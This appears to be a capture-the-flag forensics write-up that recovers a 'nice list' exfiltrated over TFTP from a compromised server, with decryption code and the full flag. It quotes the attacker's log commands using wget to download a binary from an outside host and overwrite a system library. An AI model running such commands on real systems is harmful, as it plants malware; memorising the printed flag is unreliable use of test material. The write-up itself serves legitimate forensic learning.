Santa’s DB server was compromised and the “nice list” was exfiltrated over TFTP. The artifacts are:
MakingTheNaughtyList/NaughtyKiddie.tar.gz (filesystem image)MakingTheNaughtyList/network.pcap (network capture)The goal is to identify the attacker and recover the stolen data. The flag is in two parts.
From var/log/auth.log inside the tar:
santa from 192.168.239.1wget christmasevilmeta.xyz/test -O /usr/bin/msloadwget christmasevilmeta.xyz/libcrypto.so.1.1 -O /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1/srv/tftp/ktmp/srv/tftp/ktmp and /srv/tftp/nice_list.db.encThe log also contains a base64 string:
TSBlIHQgYSBDIFQgRiB7IE4gNCB1IGcgaCB0IHkgXyBrIDEgZCBkIGk=
Decoded, it yields flag part 1:
MetaCTF{N4ughty_k1ddi
Inspect network.pcap for TFTP traffic:
nice_list.db.encktmp
Reassemble UDP DATA blocks to recover both files.Recovered:
nice_list.db.enc (24598 bytes, netascii)ktmp (64 bytes, hex key)Extract usr/bin/msload from the tar and disassemble:
generate_aes_key calls RAND_bytes to fill a 32-byte global key (g_aes_key)/srv/tftp/ktmpencrypt_file:
g_aes_key[i % 0x20]encrypt_directory recursively processes /srv/tftpKey detail: the XOR uses i % 0x20, but the loop is only 16 bytes per block, so it
effectively uses key[:16] on each block.
Because TFTP used netascii, normalize first:
CRLF -> LFCRNUL -> CRThis produces 24576 bytes (divisible by 16). Then decrypt each block:
P = AES-DEC(C XOR key[:16])
The result is a valid SQLite database.
Recovered DB tables:
nice_listnaughty_listadmin_credentialsAttacker identity (from naughty_list):
Jordan HackerFlag part 2 (from naughty_list.child_name):
3_w1ll_n0t_h4v3_c4ndY}
Full flag:
MetaCTF{N4ughty_k1ddi3_w1ll_n0t_h4v3_c4ndY}
List contents without full extraction:
tar -tf "E:\ctf2\MakingTheNaughtyList\NaughtyKiddie.tar.gz" | rg "auth.log|msload|tftp"
Python decryption (after TFTP recovery):
from pathlib import Path
from Crypto.Cipher import AES
enc = Path(r"E:\ctf2\MakingTheNaughtyList\recovered\nice_list.db.enc").read_bytes()
# netascii decode
out = bytearray()
i = 0
while i < len(enc):
b = enc[i]
if b == 0x0D and i + 1 < len(enc):
b2 = enc[i + 1]
if b2 == 0x0A:
out.append(0x0A)
i += 2
continue
if b2 == 0x00:
out.append(0x0D)
i += 2
continue
out.append(b)
i += 1
key = bytes.fromhex(Path(r"E:\ctf2\MakingTheNaughtyList\recovered\ktmp").read_text().strip())
key16 = key[:16]
cipher = AES.new(key, AES.MODE_ECB)
plain = b"".join(
cipher.decrypt(bytes(a ^ b for a, b in zip(out[i:i+16], key16)))
for i in range(0, len(out), 16)
)
Path(r"E:\ctf2\MakingTheNaughtyList\recovered\nice_list.dec").write_bytes(plain)